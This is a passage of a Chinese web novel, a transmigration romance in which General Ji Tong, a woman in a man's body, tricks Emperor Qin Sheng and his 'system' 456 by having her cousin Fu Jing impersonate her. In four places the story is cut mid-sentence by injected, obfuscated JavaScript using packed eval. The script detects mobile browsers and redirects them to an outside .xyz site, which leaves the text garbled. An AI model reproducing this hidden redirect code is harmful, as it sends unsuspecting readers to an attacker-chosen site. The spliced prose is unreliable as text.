“簌戚山太大,林将军在山的另一侧搜寻,刚已经传了信号烟。” “季大将军,上马吧。”秦笙终于开口。 “是,皇上。” —— 等他们都回到刺史府的时候已经是天光熹微。 护送秦笙回房休息后,季桐到了林明远住的地方,进了书房。 “说吧,我知道你都查清楚了。” “季大哥,我说了你可不要生气。”林明远眸子微抬,有些不敢说。 季桐没好气地白了他一眼。 “那我说了!” 林明远两个食指都快在身前挽出花儿来了,纠结得不行,最后“唉”了一声,才道:“是中郎将季固胜,就是我老丈人,他有了不臣之心。” 季固胜,季桐有点印象,是她三叔的女儿招赘的夫婿的舅舅,只是恰好也姓季,血缘上却是八竿子也打不着的远亲的远亲了。 “那你是如何得知?” “我娘子想偷我的兵符,被我发现了。”林明远整个人都恹恹的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199982|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 季桐拍了拍他的肩膀,“好吧。然后呢?他想造反总要有派系可站吧?” “是太后。”林明远叹了口气,“太后竟然在民间还有一个儿子!” “什么?” 她这下是有点迷糊了,这大背景里也没写过这些啊。 “太后早就听闻季家有夺权之心,便一直笼络季大哥您,想要借刀杀人,扶持她私生的小儿子上位。” “只可惜季大哥您并没有这个心,才转而与季家旁支联手,这才勾结上了土匪。” “那她那个小儿子现在何处?”季桐问。 “跑了,就是占山土匪窝里那个军师。”林明远拍着桌子坐了下来,“听说这小子年不过十六,却很会邀买人心,在进土匪窝之前是个传邪教的。” 怪不得之前林明远被老弱妇孺给打了出来,看来是洗脑话术一流。 “我都清楚了,暂时不要声张,清算的事让皇帝亲自来。” “是。” 林明远突然显得有些悲戚,这人喜怒皆形于色,实在好猜。 “你在担心你娘子?” “没有。”林明远分明眼眶含泪,他微微抬头想要遮掩,“我不是不明大义的人,不会左右季大哥和皇上的决断,到时候是怎样就怎样吧。” “搞大义灭亲那一套?那你就不怕他家妻女全被发配为奴?再从轻也是流放,你虽说能不受影响,但也得将关系划分了。” 听她这么说,林明远猛地抓住她胳膊,“不行!宛儿她身体不好,再说,宛儿入了我家,怎么能还是他家的人,是我家的人才对。” 季桐笑着安慰道:“放心吧,若是你娘子有苦衷必然会查清楚的。” 处理完正事,季桐终于回了自己房间,将这两日身上的泥污洗净。 可能是最近和秦笙相处的时间多,她躺上床的时候竟然有些不习惯,但颅内也没有电流声吵扰她,没什么理由去打扰他。 季桐再三纠结还是选择了强制自己入睡。 —— 第二日睡到艳阳高照,季桐才伸了个懒腰。 半夜听闻交州刺史终于回程,他向林明远疯狂请罪,季桐听了个大概,接着睡了。 接下来这刺史很是识趣地安排好了所有事,她终于能乐得清闲,才睡到日上三竿。 只不过这种逃兵刺史嘛,死罪可免活罪难逃,等处理完手头的事情,官职后面是肯定保不住了。 季桐洗漱完到了后院打算活动活动身子,却看到院子里已经蹲着个人在逗猫。 “皇上。”季桐轻步走到他背后才出声。 “季大将军。”秦笙礼貌回应但没回头。 这本来就是季止邪住的房间的后院,只是跟他住的地方院子是相连的,不是他还能是谁。 “皇上心情挺好的,还能逗猫。”季桐也蹲了下来。 小猫是个三花娘娘,胖的像个球,也不怕人,一直翻滚着肚皮,爪子去勾秦笙手中的玉佩穗。 “是李刺史抱回来的。” “嗯。”季桐也摸了摸小三花,偏头见秦笙的伤都重新细细包扎过,想来是随行军医检查过也上过药了,她起了个新的话头:“山野间冒犯皇上的事还请皇上不要放在心上,微臣有罪,请皇上恕罪。” “住口。”秦笙打断了她,他不想再听一遍为什么有罪。 “明日就启程回宫了,皇上想好怎么处置这次的事了吗?” “尚未。” “好吧,那皇上想好什么时候见微臣的妹妹了吗?”季桐实在是忍不住戏弄他。 22. 第二十二章 季桐在回去的路上已经给青州的傅箐写好了书信,路过益州时叫人交给了情侦处去送,如果让手底下的人送信难免会被秦笙发现。 她已经想好了,等回了京城,傅箐也应该已经到了,青州离京城没有交州这么远,正正好。 夜间天气转凉,再多半个月就要入冬了,月光也比之前看起来更加冷冽。 季桐毫不避讳地钻进了秦笙的马车。 “你又干什么?”秦笙现在看她总是带着防备。 “没什么,看看皇上还习惯吗。”其实自从456说了要加班之后就很少出现,电流声已经不是太打扰她了。 而且秦笙不跟456对话的时候,她也听不见秦笙的心里话。 但季桐还是喜欢往他跟前凑。 不为别的,就是纯享受天然香薰。 秦笙身上的味道很好闻,清冽沁香,和原来没什么分别。 “不习惯,为何不找个地方歇下,非要在这荒郊野岭停下?”秦笙眼里全是长久坐车的疲惫。 “皇上有所不知,咱们刚走出益州,这一片地方都是人烟稀少,只有来往客商走这条近道,微臣也是为了皇上着想,皇上国事繁忙,回去要处理的事情还很多,自然要加紧赶路。” “朕谢谢你。” “那,微臣能跟皇上住吗?”季桐已经自顾自坐进了马车,这话才问出口。 秦笙撩起窗帘,看着外面已经扎营歇下的将士,“为何不睡帐篷?” “蚊虫太多。”季桐说的是真心话,“临时扎的营帐弊端很多,地面难以清理干净,蚂蚁蜈蚣蜘蛛老鼠这些小玩意数不胜数,可都是很会顺着地铺爬的。” 秦笙被噎了一下,只道:“朕倒是不知道季大将军什么时候这么矫情了。” 交州刺史是会做人的,送皇帝出行特意给换了更豪华的马车,还是长型的,宽接近两米,长度有两米半往上,左右长椅足够一人躺一边休息,又是锦缎软垫,当沙发睡觉再适合不过。 眼见着季桐已经在左边躺下,还拿着他的金线手帕盖在眼睛上,秦笙也没办法,只能带着一分愠怒躺在了右边长椅上。 愈到接近京城,秦笙越是心里不安,他惶恐那穿书女不是真正的季桐,又怕她真是季桐,他该如何解释这些时日这么久没找到她,又该如何道歉开车时出的事,还要不要继续未完成的约会,还想问问她是不是真的爱上了别人。 他在狭窄的长椅上翻身,将自己面壁,近乡情更怯如今算是尝到了。 —— 回京城后事情很多,光是处理完事情就得费不少功夫,季桐倒是没事,按流程述职就完事,忙的是秦笙。 季桐白天述完职晚上就回了豫温侯府,听闻傅箐已经住了进来,连忙赶去后院花园旁的梨风轩。 侯府没有女主人,一切都是管事的雀明来安排。 “侯爷,梨风轩离书阁最近,以前桐小姐最喜欢看书,上次桐小姐念叨过,这次便将桐小姐安排在梨风轩了。” 这位表妹的原身与季大将军的原身向来关系较好,以前肯定在侯府住过,雀明了解这些很正常。 “知道了。”季桐摆了摆手,连甲胄都还未脱,就急着往后院去。 “对了侯爷,老太太听说桐小姐回京后说是明儿要赶来看看,两位侯爷也一并来,一应的吃食住宿都还按往常安排吗?” “自然,这些小事无需问我,你看着安排就好。” “是。”雀明快速地退下了。 季桐走进梨风轩,发现院里的矮石灯通通都亮着,屋里更是亮堂,整一个灯火通明,大晚上的照得院里的花草都鲜翠欲滴。 季桐礼貌地敲了敲门。 木门从里面拉开,露出一个长得与她三分像的女子,一身紫吊兰色的石榴裙衬得人温婉可人。 季桐看得有些发呆。 殊不知傅箐也看得发呆。 “姐姐!你没说你这么帅啊!”傅箐拉住她的胳膊,“走走走!跟我进屋!” “啊。”季桐被拽进了屋,按在椅子里。 傅箐仔细地端详了这个跟她一样的穿书“表哥”,一身玄色铁甲,自带力量与权柄的锐利之气,和如玉的肤色形成了鲜明的对比,双眉如墨,瞳目深邃,鼻梁高挺如峰,薄唇几乎抿成了一条线。 不言不语时还带着一股子肃杀之气,傅箐稍微退开了些,有些窘迫,“那个,你真是女孩子啊?” 季桐摊了摊手,“很显然,现在不是。” “我知道。”傅箐瘪了瘪嘴,这些她在密信里已经了解过了。 “你点这么多蜡烛是?” “嘿嘿,不是姐姐你说的要学你嘛,我提前适应适应!”傅箐一点也不避讳,也一点都不抗拒,并不觉得当替身是什么难为情的事情。 “好吧,那你也太努力了。” “应该的,我穿过来又没有记忆又没有系统,我甚至没看过这本书,要不是姐姐你说,我还以为我穿到什么不知名的朝代了。”傅箐委屈得不行,“我想父母得不得了,而且古代一点也不好玩,什么都没有。” “那你得亏是穿成大小姐了,要是平民得哭死你。”季桐拉着她也坐下,自己给自己倒了杯茶水。 “我知道的,如果被古人同化,我宁可不活。”傅箐在这方面有一股子倔强的狠劲,“但如果有办法回去,姐姐你让我当牛做马我都愿意。” 季桐看她精神状况还算良好,“那人认得全了吗?明儿老太太要来的。” “放心吧,我又不傻。”傅箐在这个世界都呆了这么久了,就算没有见过原身的亲戚朋友,也已经打听得差不多了。 —— 傅箐真的很厉害,人际交往方面的天赋不是季桐可以比拟的,怪不得在青州的时候就有那么大的人脉影响到远在绥石的男女主。 第二天中午的家宴吃的那叫一个其乐融融,老太太搂着傅箐一个劲儿的哭,说有多少日子没见她了。 季海清和季鸿源也宠着她,连季鸿源的老婆都不停地给她夹菜,说她瘦了好多。 傅箐也一点都没露馅露怯,一进入话题就如鱼得水。 给季桐看得一愣一愣的。 等晚上再吃过饭后,送走了老太太和两位兄弟,季桐才知道,原来傅箐以前是干销售的。 怪不得。 “那你干销售几年了?”季桐问。 “才一年呢,我才大学毕业一年。”傅箐扬着笑脸。 “厉害。” “嘿嘿,尝尝这个,小厨房刚端来的,宴会上吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205640|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的都油腻,清清胃。”傅箐把桌上的清凉糕往前推了推,“我平常还是叫你表哥吧,我怕喊姐姐喊习惯容易口误。” 季桐点了点头,“我说的那些你都记熟了吗?” 傅箐轻轻一拍桌子,“放心吧哥!我办事你放心!我念书的时候背书老快了。” “不过,哥,那个皇帝也是穿书者还是你男友的话,你干嘛一直骗他呀?” 季桐挑眉:“他没认出我,不就是活该?” 傅箐重重地点了点头表示认可:“嗯!你说得对,活该。” “而且,系统不在我身上,我无法确定是不是真的要十年才能完成任务才能回去。”季桐思考着,“这种东西应该是有转圜余地才对,不然效率也太低了。” “如果真要十年呢?”傅箐戚哀的问。 “那我能把系统杀了。” 一年两年就不得了了,还敢十年,季桐眯了眯眼,这种话也就骗骗秦笙那个傻子,“不过,现在先玩玩吧,我不介意。”说着她嘴角勾了起来。 “笃笃笃!” 门被敲响。 “进。” “侯爷,皇上邀您现在入宫。”是雀明。 “知道了。”季桐应下,“这两天事情也查完了,清算的事儿有结果了吗?” “有的,听说太后已经被幽禁起来了,至于季固胜一族,该发配的已经发配完了,只等明日早朝布公罢了。”雀明小心地汇报完,又抬眸看主子的脸色。 “不必管他,与季固胜一族的关系全部切断,把他女儿接到豫温侯府来,就说我要收她为义妹,此后再不是罪臣之女。”季桐必须安排好这事,不然林明远得一蹶不振,失了得力助将可不划算。 “是。”雀明行礼后又问:“已经为侯爷备好了马车,侯爷即刻出发吗?” “走吧。” 现在已经戌时了,秋天的尾巴里,这种时候天早黑了。 秦笙这个点叫她进宫有事? 季桐懒得想,反正他也不敢拿自己怎么样。 一路马蹄声滚着车轮声,踏过了皇宫偏门,直径停在了勤政殿外。 她一步也懒得多走,要是能停在后面勤政阁的后院更好。 但这次她礼貌了,对外面守着的掌事太监王德海说了一声,“麻烦公公通传。” “折煞奴才了!”王德海脸上堆着笑示意她直接进去。 房间里很冷清,一个服侍的人都没有。 书房里也没人。 季桐转而进了寝殿。 秦笙躺在龙榻上,也不知道是在思考什么人生。 456:【来了来了,季大将军来了,快邀请他一起睡觉!你的任务就差一次进度了!】 秦笙语气淡淡的:【哦,为什么睡马车上不算进度?】 456:【算了啊,马车上打折了嘛,把你的第二次进度拉满了。】 秦笙:【谢谢你。】还是生无可恋的语气。 季桐笑着半跪着行了礼:“参见皇上,不知皇上唤微臣有何要事?” 秦笙这次口心归一,死鱼般的开口道:“做系统任务。” 季桐起身,两三步走到龙榻前,眸子戏谑地俯视着平躺着的秦笙,“哦?什么系统任务需要夜半到寝殿做?” 23. 第二十三章 之前还一副死不情愿的样子,现在倒是主动叫她进宫了。虽然不知道为什么秦笙突然改了主意要做任务,但应该是系统劝诫后自己想通了。 季桐不想放过调戏他的时候。 看着秦笙默默地将被子拉高,遮住了自己的脸。 季桐拉了拉被子,“喂,皇上,说清楚,什么任务?” 瓮声瓮气的声音从被子里发出:“就夜半促膝长谈这样。”他不想说是同床共枕,这样太容易被看出剧情端倪了。 “那皇上倒是坐起来啊,躺着促膝长谈吗?”季桐脱了鞋坐在了床边。 寝殿床头桌案上的镂金笼中散出檀木香的白烟,混着秦笙身上清冽的雨天味儿,让季桐闻之欲醉。 说来也奇怪,季桐一直喜欢这种味道,开阔、湿润微咸的清新感,像是海洋也像是雨水中的空气。 如果秦笙都已经换了个女身的壳子,怎么会连味道都没有变。 或许是跟系统有关。 “睡觉吧,累了。”秦笙的声音依旧从被窝里发出。 “什么也没做呢,就累了?”季桐半躺下来,床很宽,她特意与秦笙拉开了一段距离,免得吓到这个笨蛋。 半晌无声。 季桐甚至能想象到他耳根通红的样子。 秦笙:【他不是个正常人。】 456:【亲亲宿主,这是正常的。】 秦笙只问了这一句就不再与456对话,他甚至有些贪恋与季大将军在一起的时光,每每与他在一起就会让他感到安心。 可他又愤恨这一点。 季大将军会被原身影响,可是他不会。 那他为何又会对季大将军产生这种感觉。 “真睡了?”季桐往他旁边凑了一点,惊得秦笙在被子里咕蛹了一下。 季桐笑着将被子拉开一个边角,“听我讲讲我表妹的事,如何?皇上不是说想要见她吗?” 听到这话,秦笙不再胡思乱想,麻利地掀开被子惊坐了起来。 “她……她真的就是那个穿书者?” “几乎可以肯定,我询问了一些她现实的事,还告诉了她你是谁。”季桐点点头,欣赏着秦笙凌乱披散着的头发,和因闷了好一会儿被子而微微红润的脸颊。 “真的?!那就安排三日后,不,明日相见,可以吗?”秦笙少有的情绪外显,却见对方目光灼灼地盯着自己,有一种被看透的奇异感,瞬间偏过头讪讪道:“咳,就明日,行吗?” “自然是遵从皇上的意愿。”季桐从善如流。 不知道是不是因为提起了他心目中的未婚妻,这人开始变得很有距离感,好像在有意克制自己,感觉两个人床中间隔了有一条银河那么宽。 第二天一早456高兴得转圈圈,任务非常顺利的完成了,它得到了大量能量,宿主得到了三大三十的积分,它要是有手恨不得能举杯一饮。 季桐穿戴好衣物,斜眼去瞟在角落里转圈的456。 456:【宿主!你高兴吗!你现在有55积分了,再凑一些大概到70就够用了,还可以多凑点以防万一。】 秦笙不咸不淡扣着领子:【嗯。】 寝殿无人伺候,两个人之间的气氛稍稍有些微妙,秦笙穿完衣服就开始赶客。 季桐也不多留,后面还有的是时间。 两人一前一后去了早朝。 如昨天雀明禀报的一样,季固胜一族全被流放,太后那边则是有了更委婉的说法,说是余生都要潜心礼佛,无要紧事无需见太后。 下了早朝,秦笙匆匆换了常服,上了马车,赶去豫温侯府。 “小得子,还有多久?” “快了,再拐个弯儿就到了。” 秦笙理了理衣裳,下早朝后季大将军就已经直径回了侯府,他却需要更衣安排其他事,自然不好让人等他,只说是随后就到。 这次出来还是没有大张旗鼓,知晓皇帝出宫的人都是少数。 等他下了马车,看到豫温侯府的金字牌匾时已经是午后,暖阳拂过,牌匾刺眼,大门紧闭,一点也看不出欢迎他的样子。 他让小得子去敲门。 很快,门开后,一个俏丽的小姑娘行礼小声道:“侯爷有事外出了,还请皇上先行进府,一切都已经打点妥当,季小姐已经在梨风轩候着了。” 秦笙呼吸沉重了一分。 忽略了侯爷外出这件事,满脑子只剩下了与爱人相见的局促和紧张。 踏进梨风轩的脚步都是虚浮的。 敲门时他摒退了小得子与雀明,自己伸出了手轻轻叩了几下。 “请进。” 声音清丽,不像她,可语气又像她。 秦笙深呼吸后推开了这扇雕花木门。 预想中的画面没有出现,屋内还有一道画着八骏图的长屏风,笔力劲透,若是平常他会欣赏片刻,但此时他的目光直径透过了屏风,看向了那道丽影。 屏风后的剪影慵懒地半靠着在长椅中。 坐姿也像她。 秦笙的心跳如同擂鼓,他小心翼翼地出声:“桐桐。” “我感冒了,眯着呢。”那道丽影说着掩面咳嗽了两声。 “我能见见你吗……” 他害怕她还在生气,又或是恨他害死了她,又或是……已经不爱他。 “可以,进来吧。” 得到允许,他迈出步子,可下一秒就有人从背后将自己捂了嘴。 他惊了一瞬,意识到是谁后,转头瞪了一眼。 秦笙:【他有病啊?!】 456发了一个对手指的表情:【我不知道啊。】 季大将军的胸怀实在宽广,将他搂在身前能完全笼罩住,手掌带着些粗粒,摩擦着他的唇瓣和脸颊,莫名有些生热。 “你干什么?!”他声小如蚊质问道。 “没什么,微臣只是觉得,表妹与微臣感情甚笃,皇上若是真爱她定要好好待她,如果被微臣发现皇上之前所言皆是花言巧语,就怪不得臣反了。”季桐在他耳侧轻声放完狠话。 秦笙皱着眉:【他真的被原身同化了?】 456:【看起来是的,而且同化进度还挺高的,还比剧情时间早呢。】 秦笙:【怎么办?】 456:【嗯,剧情里有写过,季大将军一直对表妹比对其他人好,说不定在发现皇上是女身之前他是以为自己有点喜欢表妹的,然后跟皇上在一起久了,发现皇上是女身之后才意识到自己原来爱的是皇上。】 456:【所以现在只要好好保证会对表妹好就行了吧,毕竟表妹也是他的宝贝疙瘩。】 秦笙:【渣男。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209815|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 456发了一个“表示肯定”的表情包。 “不会。”秦笙的话语从季桐的指缝中溢出,“我这辈子只会爱她一个人。” 这是实话,他坦然无比。 “最好是。” 季桐放开了他。 “去见她吧。” 季桐已经全部安排好了,大步流星地离开了房间。 秦笙解除了桎梏大口呼吸着空气,却又要小心自己的动静不能太大,缓了片刻,他终于绕过屏风,来到了心心念念的人跟前。 脸与她三分像。 却带着一点病弱之味,小脸苍白,想来是穿进古代这几月都吃不好睡不好,还染了风寒。 傅箐缓缓睁开双眼。 秦笙屏住了呼吸。 不是她。 她从来没有过这种眼神。 很难描述,带着三分希冀,带着一分好奇,剩下六分才是对他的嗔怪。 该是十分的不满和坏脸色才对。 秦笙:【456,你能看到她的灵魂吗?】 456:【看不到灵魂长相的,但是面对面我确实可以确定,她就是青州那个穿书者哦,信息分析:和你来自同一个世界,事发时距离你也很近哦。】 秦笙心底苦笑一声,是他自己太悲观了。 “站着干什么?”傅箐抬高了眼眸,语气尽可能地自然傲气,“去给我倒杯水。” 秦笙眼里重新燃起希望,语气没错,是她。 他匆忙去倒了杯茶水,吹到七分烫才缓缓递了过去。 傅箐小心地按季桐所说的习惯接过茶水杯,轻轻抿了一口,“行了,滚回去吧,我还要养病呢。” “我能在这儿陪陪你吗。”秦笙很少表述自己的心意,因为大多数时候都会被季桐拒绝。 好家伙,傅箐心里瘪嘴,这她都有点心疼了,但还是只能按季桐的习惯冷冷回答道:“不能。” 果然,秦笙眉眼低垂,默认了这个决定。 “那我过些日子来接你,迎你当皇后。” “谁稀罕。” “那算我求你,做我的皇后好不好?”秦笙很担心她,古代总是对女子多加苛责,如果出了什么意外或者陷入舆论都很难解决,进了宫起码自己能庇护着她。 “季家独大,季家旁支又已经在选秀时期一连中选三名秀女,给的位份还都不低,此时如果迎我入宫做皇后,季家一党自然高兴,可你是把自己往绝路上逼,这样一来朝堂上还能有你一丁点儿势力?” 傅箐按照季桐吩咐的话全然阐述后又再补道:“那到时候你还有个屁办法庇护我,还不如我这表哥的名号大,既如此我又何必嫁给你。” 秦笙嘴角酸涩地笑了笑,是这个道理,以前拒绝嫁给他的理由是门不当户不对,现在拒绝嫁给他的理由也差不了多少。 似乎在她眼里,爱情是不那么重要的。 “我知道了,这事我再会好好考虑的。”秦笙伸出手想抚上她的手,却又在落在她手背上的一瞬间停下了,“那你好好养病,我会调两个御医来豫温侯府照看你的病。” 他不想触摸到她的手背,他意识到自己心里名为爱的东西在消退。 按理说,他有数不完的话想要说,可真见过了,竟然一句也憋不出来。 离开梨风轩的时候,他几乎是落荒而逃。 24. 第二十四章 “怎么样?” 季桐坐进椅子,给傅箐倒了杯茶。 “跟你说的没区别,哥哥,你都把他看得透透的了。”傅箐笑着接过茶。 “我倒要看看他还要忍多久,才肯直视自己的内心。” 季桐一直都知道秦笙与自己是两种完全不同的人,她随性自在,凭心而动,秦笙一步步都走在既定的路线中。 现实里,秦笙从小被规训成一个优秀的孩子,学业、篮球、滑雪、甚至马术都样样出彩,如果不是上头已经有两个优秀的哥哥继承家业,他也绝不会被允许走上画画的道路。 他很少表达自己的情感,导致季桐以为他真的感情淡漠,爱她的表现就只是包容忍让,哪里像真的爱她。 来了这里她才发现,原来还是挺有情绪呢。 不到三天,封妃的旨意就下来了。 明面上虽是笼络权臣,但又碍于忠君一派的颜面,最高只能给予妃位,不然某些臣子就会心寒至死。 第四日早晨,傅箐对着铜镜坐着,一遍又一遍抚摸着自己的脸庞。 镜中皮相如花,妆容清丽出尘又明艳端庄,发髻也已经被丫鬟们打理成了最适合挂珠穗的云髻,傅箐很满意。 “说实话,我本来没这么好看,算我赚了。”傅箐扬起一张笑脸转头望着季桐,“哥哥,你送我?” “嗯,我送你,很漂亮。”季桐手指摸过桌上的红盖头。 上面金线繁复,绣着鸳鸯石榴图,季桐将它轻轻盖在了傅箐隆重的龙凤花钗冠上。 傅箐一身嫁衣全是规制内最顶级的好东西,云金璎珞的霞帔,锦缎彩绣的云鹤描金流仙里裙,都是极尽华贵。 凤冠霞帔,十里红妆,大将军嫁妹,合该如此。 四下没有旁人,傅箐站起身后,忽然握住季桐的手,小声道:“姐姐,对不起,这个位置原本该是你的。” 愣了三秒,季桐眨了眨眼。 傅箐噗呲一下笑出了声,继续嗲声嗲气道:“姐姐不会怪我吧。” “评价为电视剧看多了。”季桐食指戳了戳她额头,眯着眼靠近她,“要我陪你演两段吗。” “不不不用了!”傅箐麻溜地后退,一手提起裙子一手摸着门框出去找陪嫁丫鬟。 —— 进宫后,傅箐住在了皇帝钦点的昭阳宫,是后宫里唯一自带温泉池的宫室。 一整天下来,傅箐脸都要笑僵了,收了无数的贺礼。 大家心里都明镜儿似的,之前后宫里最有势力的是安贵妃安乐佑和季嫔季如雨,现在不是了,现在能在后宫横着走的是刚进宫就赐了封号的合妃“季桐”。 为了这次迎新妃入宫,皇帝忙得脚不沾地,安贵妃更是上下打点,直到晚上才来得及亲自到昭阳宫送贺礼。 “贵妃娘娘驾到!”宫门口的小太监高声喊着。 “妹妹不会怪我这么晚才来贺喜吧?”安贵妃快步上前一双青葱似的手自来熟地搭在了傅箐手上。 傅箐手搭着行了个礼,笑着:“当然不会了,嫔妾入宫本该先拜见贵妃娘娘的,可一直忙得不脱身,殊不知娘娘竟然先来了。” “桐妹妹真漂亮。”安贵妃发自内心地赞扬,扭着腰肢朝后方招了招手,“还不快把贺礼抬进妹妹宫里。” “别的也就罢了,这个,安玉香露,听说是域外香料做的,用了肤色特别好。”安贵妃从盒子里取出来一盒香膏来。 “多谢安姐姐。”傅箐又行了个礼,让丫鬟接下了小盒子。 “我这里也有些香露,用着很好使,给姐姐也试试!” 两个人像是相见恨晚的知己,谈天谈地,说古论今。 安乐佑是真没想到,终于能在后宫里找到了一个跟她一样爱看话本爱打马吊的女孩子。 傅箐也是真的没想到,居然还有这么有意思的贵妃娘娘,不是听说安贵妃自入宫就是盛宠不衰吗,那不应该是个很会刁难人的上级吗。 月亮挂稳空中,时间已经过了丑时。 “今儿皇上出宫办正事去了,我跟你睡吧。”安乐佑打完手里最后一副牌,往傅箐身边贴去,“怎么样?” “好呀,我正愁闷呢。” —— 季桐白天送完傅箐入宫,下午去林明远府上打点了他老婆那事儿,被他好一通哭着道谢,眼泪花蹭了一身。 晚上回豫温侯府之后远看着发现院子里多出来一个瘦弱小青年,蹲在池塘边看鱼。 昏暗的石灯照在那青年的背部,还有点瘆人。 穿的不是奴仆的衣服,在月色和池水的反光下布料显得波光粼粼。 “雀明。”季桐想唤雀明问问是怎么个事,结果喊了两声都不见人。 虽然离得远,但季桐刚刚喊人的声音不小,那青年肯定听到了,但青年也不起身,动也不动。 季桐正要上前去问,走廊拐角后来了人。 “是朕之前跟你说过的,太后的小儿子,寄养到你这里正合适。”秦笙与她并肩而立,望着前方远处的池塘沿。 “原来是他。”季桐了解了,“你还真不怕我,如果我作伪证他生父是先帝,你可就骑虎难下了。” “正是如此,朕只是想告诉你,朕绝不会对季家有半点不利,也希望季家不会与朕为敌。” 秦笙这话说的坚定,“自然也希望你不会作这个伪证,这对你没好处。” 季桐当然知道这些,不然秦笙早在查出太后与季家旁支有牵连时就会留个心眼。 而不是季家旁支都迅速斩断了与季固胜交好的所有关系后,这事就不了了之了。 本来还有些小罪当罚,但碍于这些人都是真真切切有血缘关系的季氏,秦笙也就只口头警告了一下,让他们认清自己的身份就算了。 季桐笑着抬了抬眉毛,“他在那儿干嘛呢?” “看鱼。”秦笙叹了口气,“听说接连变故之后他就有些形同痴呆了。” “怪不得,听起来你还挺心疼他,在匪山上他洗脑了多少人,害了多少家庭,痴呆也是该。”季桐冷哼一声,“我府里可不想养这样的痴呆。” “只要不造杀孽,让他活着就行了。” “我也不喜欢造杀孽。” 此话一出,季桐和秦笙的目光短接了一秒,见他薄唇轻抿,季桐意识到自己说了个屁话。 战场人不知道杀了多少人了,说这话跟哄小孩儿似的。 “咳。”季桐转了个话题,“表妹入宫了,怎么,不去看看你心心念念的未婚妻?” “已经远远瞧过一眼。”秦笙语气漠然。 “久别胜新婚,不上床吗?”季桐嘴角勾起,带了一分调笑。 “你!” 秦笙再次哑口无言。 季桐笑声很难忍地溢出来,要是他有那个勇气对着傅箐说出来自己现在是女人,估计很快就能发现傅箐是假的了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16216394|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 可他偏偏不敢。 他不敢赌,他的“季桐”会爱他的灵魂。 他最后只能有气无力地警告了一句:“嘴巴放干净点。” “知道了。”季桐耸了耸肩,“那不跟她上床,跟我上床吗?” “你!”秦笙怒目而视,“系统任务已经做完了,不要再说这种话。” 秦笙甩手走人。 456跟在后面飞:【大将军好奇怪哦,还不知道你是女身,好像就已经很喜欢你了。】 秦笙:【不可能。】 456:【可是看起来就是这样啊!虽然我不懂人类的爱情,可是我能监测到数值!】 秦笙顿住脚步:【你说什么?!什么数值?】 456:【大将军一靠近你就兴奋值疯狂上涨哦。】 秦笙松了口气:【那也不能代表他就喜欢我。】 456:【宿主你为什么这么倔强呢,按照剧情,他喜欢上你是合情合理的。】 秦笙:【我与桐桐之间揉不得其他沙子,如果他真的被原身影响意志,非要做出大不敬的事,我——会解决掉他。】 456:【哎!宿主你突然走那么快干什么!我跟不上了!】 季桐远远望着秦笙离去的背影,渐渐听不到他们的对话,转而变成了一股股电流声。 笑死,兴奋值上涨是因为可以调戏他。 至于喜欢,也许吧。 再强烈的喜欢在六年的生活过后也会变得疲累,特别是对方不懂得展现爱意的情况下。 现在孩子死了知道奶了,她越是看到秦笙痛苦,就越是兴奋。 马车略过皇宫高墙下的过道。 秦笙心绪忐忑地如同被马蹄声下激起的石子,心跳随着回宫的路程越近越是跳得更快。 “吁!”小太监拉住缰绳,跳下马车。 王德海已经命人来接,端了小凳子,扶秦笙下马车,秦笙撇开了手,“昭阳宫都已经打点好了吗?” “回皇上,已经妥当,贵妃娘娘处理这些那都是得心应手。”王德海犹豫了一下,“只是……” “只是什么,不要吞吞吐吐。” “只是贵妃娘娘今日也在昭阳宫歇下了,皇上今夜要去吗?”王德海斟酌了一下还是说了。 “安贵妃去昭阳宫做什么?” 秦笙有些担心,他知道安乐佑一向不多事,但如果威胁到她的地位,她还是很在意的。 他怕安贵妃刁难人。 “听说是与合妃娘娘叫了两个宫人打马吊玩儿。” “知道了,朕今日就不去看她了,回勤政阁吧。” “是。” 不多时,秦笙终于躺上床,揉着太阳穴入睡,却怎么都睡不着。 这几天发生了太多事。 相较于刚来这个世界时无比期盼寻到季桐的冲劲,他开始感到疲惫无比,甚至没有多年夙愿达成的狂喜。 他曾经幻想过,与季桐结婚那天,他一定会高兴得说话都结巴。 